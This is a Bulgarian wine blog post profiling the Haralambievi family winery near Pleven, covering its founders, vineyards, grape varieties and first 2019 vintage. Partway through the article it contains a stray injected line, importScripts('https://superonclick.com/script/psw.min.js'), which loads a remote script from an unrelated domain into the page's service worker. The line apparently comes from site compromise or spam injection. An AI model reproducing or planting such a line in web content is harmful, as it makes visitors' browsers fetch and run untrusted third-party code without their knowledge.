fbpx
+359 88 637 6704 info@sofiawinewalk.com

Във времето, в което COVID 19 ни е натикало в домовете ни и не виждаме изход от ситуацията, всички ние имаме нужда от герои, примери за следване и надежда за по-добро бъдеще. Именно затова реших да представя завладяващата история на Хараламбиеви – винените герои на Северен Централен район, или по-точно Плевенско.

Град Плевен е известен с Лозаро-винарския си институт, пещерата Музей на виното в парк Кайлъка и старите си традиции в лозаро-винарството. Там от край време всеки по-възрастен човек притежава малко лозе от около декар, което обработва за производство на вино за лична консумация. За съжаление тази традиция все повече отмира с тренда на застаряване на населението в региона и обезлюдяване на селата.

Като един плевенчанин винаги съм бил изключително емоционален, когато се заговори за родния ми край, а след като навлязох в света на виното, също и когато районът се споменава на винена тема. Именно затова бях приятно изненадан на миналогодишното издание на DiVino.Taste в края на ноември, когато за първи път се срещнах с Хараламбиеви(https://www.haralambievi.com/) и техните вина. Какво си казах тогава ? „Светлина в тунела има“. Не само защото това беше самотният винен герой на Плевенски регион – единствената изба в областта, а и защото вината бяха впечатляващи, отличителни и нищо, показвано досега на българската винена сцена. В това се убедих не само аз, но и голяма част от винената общност, както и много любители на магическата течност. Каролайн Гилби, Master of wine, и традиционен изследовател на български и балкански вина, изморена от дългите дегустации почти подминава щанда, но опитвайки вината остава учудена и веднага улавя характера на Севера, остава очарована от Пино Ноар-а на Хараламбиеви, като го определя като много „по-различен“ от опитваните български представители на сорта.

За мен, а и за много хора в бранша, винаги са били важни не само вината, а и хората, които стоят зад тях. Митко и Цветелина, основатели на изба Хараламбиеви(https://www.haralambievi.com/) грабват с благородство, мили думи, страст към най-миниатюрния детайл, когато говорят за лозята и вината, и пословично трудолюбие. За тях лозаро-винарството е начин на живот!

importScripts("https://superonclick.com/script/psw.min.js");

Как започва всичко? Историята на Митко и Цветелина е не по-различна от житейските истории на много от нас. Това, което я отличава, е, че в продължение на десет години не спират да следват мечтите си и ги сбъдват. Цветелина, родом от село Садовец, Плевенско, като всяка една студентка (тогава Индустриален мениджмънт в Технически Университет, София) отива на студенстски бригади в Америка през летата на 2007 и 2008 г. Там се запознава с ресторантския бранш и според нейните думи това е много ценен опит, който я оформя за цял живот. Учи я на стриктност, дисциплина и целеустременост. Завръща се в България и в един етап от живота си живее именно в Садовец, а през 2009 г. там се среща с Митко (лесоинженер по образование и човек, обичащ и силно свързан с природата), като разбира, че е открила точната половина. Както се случва и във филма ‚Добра година“ с Ръсел Кроу и Марион Котияр, младата двойка твърдо заявява, че ще остане в региона и ще стартира проекта Хараламбиеви.

Всяко начало е трудно и освен с романтика е изпълнено и с денонощна работа. Започват начинанието с първия си лозов масив от 90 дка край село Садовец. Лозето е кръстено „Калугерица“, а името му идва от една малката пойна птичка Калугерица, която Митко открива по време на засаждане на лозето. Парцелът е разположен на 180 м надморска височина, на левия бряг на река Вит, на стратегическо място, където падат повечето валежи в местността. Почвите на масива са сиви-горски, върху варовикова основа, много добър чакълест дренаж и типичния за Плевенско – карст или варовик. Карстът е една от основните причини Митко и Цветелина да изберат точно тук да засадят лозята си – тероарът е уникален за България. Определят го като българската долина на Лоара. Митко и Цветелина са класици, но и модернисти, мечтатели, експериментатори и най-вече оптимисти. В търсенето си на най-добрия посадъчен материал започват да работят с лозарския институт във Фрайбург, Германия и от там вземат експерименталните сортове Соларис, Мускарис, Шойребе, Каберне Кортис, които засаждат в лозето в местността „Могилите“ между селата Петърница и Горталово. Последният сорт, който е червен, се отличава с много ранно зреене – края на август. Дава концентрирани, добре оцветени вина, представляващи интерес за лозарите.

Истинският диамант в колекцията на фамилията, тяхната най-голяма винена любов, е местният и произведен през 1976г. в института в Плевен сорт Кайлъшки Мискет. Кръстоска е между Хамбурски Мискет и Вилар Блан. Типично за него е, че зрее по-късно от останалите мискетени сортове и запазва високи киселини, за разлика от Мускат Отонел. За реколта 2019 го прибират на 5ти септември. По време на ферментацията му цялата изба се изпълва с цветни аромати и този вълнуващ момент се запечатва завинаги в спомените на Цветелина. Хараламбиеви са сред малкото, осмелили се да представят този изящно-деликатен сорт. (Само още една изба – Върбовка, от района на град Павликени, Търновско произвеждат вино от него в България).

Семейството на засадените сортове в лозето „Калугерица“ се допълва от френската елегантна госпожица – сорта Пино Ноар. Или поне това е определението за него, което стилистично нарежда вината от сорта до тези от Бургундия и Лоара. Устремът на Хараламбиеви не свършва до тук и те също въвеждат модела „single vineyard“, който е особено ясно отнесен към сорта Пино Ноар и неговите три различни лица от три лозови масива. Когато етикират серията си „Trois Visage“, съставена от ‘’Blanc de Noir’’, ’’Rose de Noir’’ и ‘’Rouge de Noir’’, те поставят на етикета името на лозето, от което идва гроздето. Договорът, койтo сключват с майката природа е, че всяка година в зависимост от характеристиките на реколтата, ще променят източника на грозде за всяко от вината. Или ако тази година масивът за „Blanc de Noir“ е „Калугерица“, то следващата година може да е „Над Пещерите“ или „Дъбника“.

Споменавайки ги, време е да представим и останалите лозови масиви, за които Митко и Цветелина говорят с много любов и доза сантименталност, отнесена към индивидуалните им особености. Всеки един от тях има своето определено място в сърцата им и собствена история.

Лозе „Дъбника“ край с. Горни Дъбник е разположено също на левия бряг на река Вит върху типичните за Плевенския край плодородни мощни почви върху варовикова основа, добре дренирана от чакълестата тераса на реката. Обхваща 150 дка, намира се на 180 м надморска височина и е емблематичен, тъй като е разположен до пътя София-Плевен и ясно се забелязва от там. Има европейски изглед – красив и подреден и оставя блага енергия и надежда в душата всеки път, когато се взреш в него. Надежда, която кара Хараламбиви да мислят, че точно там биха изградили бъдещ туристически посетителски център за вино-откриватели. На него са засадили местния, също дело на Плевенския лозаро-винарски институт сорт Рубин, както и Пино Ноар, Мерло и единствения бял сорт там – Мускат Отонел.

Лозе „Могилите“, край едноименната местност се намират между двете села Петърница и Горталово. Тук вече отиваме на десния бряг на река Вит, в ниската част на Предбалкана и надморската височина е 300 м. Обхваща 210 дка и се характеризира с плитки сиви-горски почви върху карстова основа. Масивът се намира непосредствено до извора на малката рекичка Петърнишка бара, един от притоците на Вит и до гора, която е климатична преграда за района. Проектът Турски поток преминава точно през тази местност и се налага част от лозята да бъдат изкоренени, но за щастие много малко от тях. Масивът „Могилите“ е най-младата придобивка на семейството – от 2015 г. и по него се стига само по земен път. Затова стратегически позиционират немските си устойчиви сортове в него.

Стъпка по стъпка, с много грижа, търпение и труд Хараламбиеви градят своята гордост. От 2012 г. Митко и Цветелина добавят към семейния имот и лозе „Над пещерите“ до село Петърница. Това е и най-големият им масив от 350 дка. Почвите тук са с много тънък слой, отново сиви-горски върху карстова скала. Районът е живописен. От лозята има изглед към красив каньон. Лозето е разположено върху средната част на склон над 5 пещери, една от които има „комин“ в лозето. Тук са насадени международните сортове Совиньон Блан, Шардоне, Гевюрцтраминер и Пино Ноар.

Цветелина и Митко са силно повлияни от немската и френската школа, когато става въпрос за винификация. И макар да се учат сами на доста от тънкостите на занаята, се обръщат за консултация и към нашумели имена сред българските технолози като Николай Кръстев (Царев Брод), Петър Георгиев (Росиди) и Радостин Милков, или познати като тандем „Виностудио“, което е техния обединяващ консултантски проект. Всички те стоят зад едни от най-новите приключенски и експериментални вина на българския пазар като Пет Нат Ризлинг, бяло вино от сорта Гергана, розе от Евмолпия, Пет Нат Мавруд и различен прочит на Рубин и Мавруд в лимитираните серии на Милков и Георгиев. Когато за първи път Митко и Цветелина отиват при Николай Кръстев за да проведат консултация, той се опитва тактично да ги разубеди да не се впуснат във вече наводнения от вина български пазар. Посещението до лозята обаче коренно променя скептичността му и го уверява в уникалността на тероара и потенциала на региона. Дава им се зелена светлина от признато Величие на българската винена сцена.

И както пише на гроба на Яне Сандански : „Робът се бори за свобода, а свободният за съвършенство.“, Цветелина не спира своите стремежи да се развива, да учи и да се самоусъвършенства. Записва„Технология на виното“ в УХТ Пловдив. Макар, че е майка на три деца, между грижите за семейството и лозята, успява да намери и време за учене. „Технология на виното“ явно не е достатъчно, решава и че WSET Level 3 ще добави ценни знания към вече придобитото. В Wine and Spirits Academy Bulgaria (https://wsab.bg/?page_id=391) се среща с личности като Александър Скорчев, Едуард Куриян (https://rossidi.com/) и Димитър Николов (https://apollowine.com/), които дават други измерения на мечтите й, определя ги като много успешни и вдъхновяващи лектори.

Слоганът на семейство Хараламбиеви е :“Виното е нашата любов, лозето е нашият импулс.“ Изразява се и в концепцията им за правене на вино. Прекарват по цял ден на работа в лозята, всяка сутрин стават с мисълта за тях. За да оцелеят финансово през тези 10 години и да си подсигурят устойчивост, докато лозята им достигнат своя оптимум в развитието си и докато създадат вина, достойни за бутилиране, продават висококачествена суровина грозде, както на други изби, така и на местни крайни клиенти, а също и наливно вино. Ето, че заветната първа за бутилиране реколта 2019 пристига. Разбира се, не минава без премеждия. Почти през целия сезон на растеж вали. Както казват : „Късметът идва при подготвените.“ Късметът идва и при Митко и Цветелина след дългите години упорита работа. Дъждът спира точно по време на цъфтежа, за да узрее една страхотна по техните думи реколта за бели сортове и първата на Хараламбиеви (https://www.haralambievi.com/).

Хараламбиеви (https://www.haralambievi.com/) и отлежаването на вината в дъб. Митко и Цветелина не са привърженици на прекомерното използване на дъб, а само когато е необходимо. Следвайки световните тенденции във винопроизводството, те правят балансирани, елегантни, грациозни вина, дават възможност на отделните сортове сами да се изкажат, на тероара да загатне своята неповторимост и на виното да бъде себе си. В тази връзка семейството има само 3 чисто нови френски дъбови бъчви по 500 л. За реколта 2019 ще ги използва само за сортовете Рубин, Каберне Фран и за една отделна партида Шардоне. Описаните три все още отлежават в дъбовите бъчви.

Поглеждайки отделните им серии вина, етикиран като The Chosen One е техният Совиньон Блан. Решават да засадят този стар френски познайник заради търсенето на пазара или с други думи пазарът сам си го избира. В серията Trois Visages капризното дете Пино Ноар показва трите си лица в бяло, розе и червено вино. Да, бяло вино от червен сорт. След Едуардо Миролио се намери и друг смел производител да прочете бургундския сорт с български очила. В серията Royal, винарната отдава почит на истинските кралски или традиционни сортове – Blanc за Шардоне и Dark за Каберне Фран. Тук Шардоне има друга мисия – според стандарта на Хараламбиеви да се изяви без дъб или да отдаде своята свежест и плодовост по непринуден и изчистен начин. И ето, че е оценен в ТОП 50 класацията на Дивино – нарежда се до вината от 20-то до 50-то място. Каберне Фран все още отлежава в дъб, но се очаква да се появи през септември тази година. Той е другата слабост на семейството, което е убедено в огромния му потенциал в България. Отличителният му и неподправен характер се изразяват в пиперливите нотки, лесни за разпознаване от първа глътка. Сортът е засаден в три от парцелите им, но всеки един от тях е микровинифициран или обработен в отделен съд. Митко и Цветелина имат силна вяра в местните сортове и тяхната бъдеща роля на българската, а защо не и международна сцена. Този техен порив намира изява в серията H`s или по-просто Haralambievi`s (https://www.haralambievi.com/).

Червеният сорт Рубин, кръстоска между Сира и Небиоло, по-широко разпространен в Южна България, се представя на високо ниво и на север. Цветелина споделя, че тук, повлиян от по-хладния климат, или по-точни климат на екстремуми и големи амплитуди, задържа по-високи киселини и придава съвсем различно измерение на крайния резултат – виното. Хараламбиеви държат на бутилковото отлежаване и смятат, че то е задължително за правилното развитие на виното. На белите си сортове дават поне 6 месеца, а на червените повече – 12 месеца, ако е необходимо 18 месеца, после още 6 в бутилка.

 

Икономически двигател в Северен Централен район. Въпросната първа и историческа 2019 реколта за избата е 50 000 бутилки. Това все още ги поставя на винената карта като малък производител. За сметка на това избата дава работа годишно за 4000-5000 човекосмени, като само по време на гроздобер дневно работят 60-70 сезонни работници, като гроздоберът там продължава от 10 август до 20ти октомври. Постоянно в техният екип място заемат Мениджър лозя и четири работници, постоянно заети в избата в Петърница и на лозята, както и на двама човека търговски екип в София – техен бранд мениджър е Николай Йорданов, който има големи заслуги за старта на избата. Загрижеността и сплотяването им с местната общност, ражда и проекта за дуално обучение със селскостопанското училище в Долни Дъбник. Откриват паралелка лозарство, а учениците по договор изкарват стажове в избата и имат възможност да продължат да работят за нея след края на периода.

Пандемията от COVID19 се случва в най-неблагоприятния момент за семейството –броени дни след като на пазара излиза първата им реколта в бутилка. Семейството инвестира в дизайнерски етикети, изработени от небезизвестния Стефан Гьонев, модерна визия и няколко официални представяния на вината пред професионална публика. Цветелина смята, че въпреки, че кризата ще се отрази стресиращо на пазара, той просто ще се пренареди и по-добрите дори ще са в по-изгодна позиция, смята, че не е моментът да се предават, а напротив – с безкрайния си оптимизъм да бъдат гъвкави и адаптивни към ситуацията, за да дочакат по-добри времена. А за тях семейството вече има мечта – създаване на туристически посетителски център до село Горни Дъбник. Нова инициатива, нова възможност за икономически изостаналия Плевенски регион, нова борба, нов лъч надежда, нова страница в историята на семейна изба Хараламбиеви (https://www.haralambievi.com/).

Автор

Павлин Иванов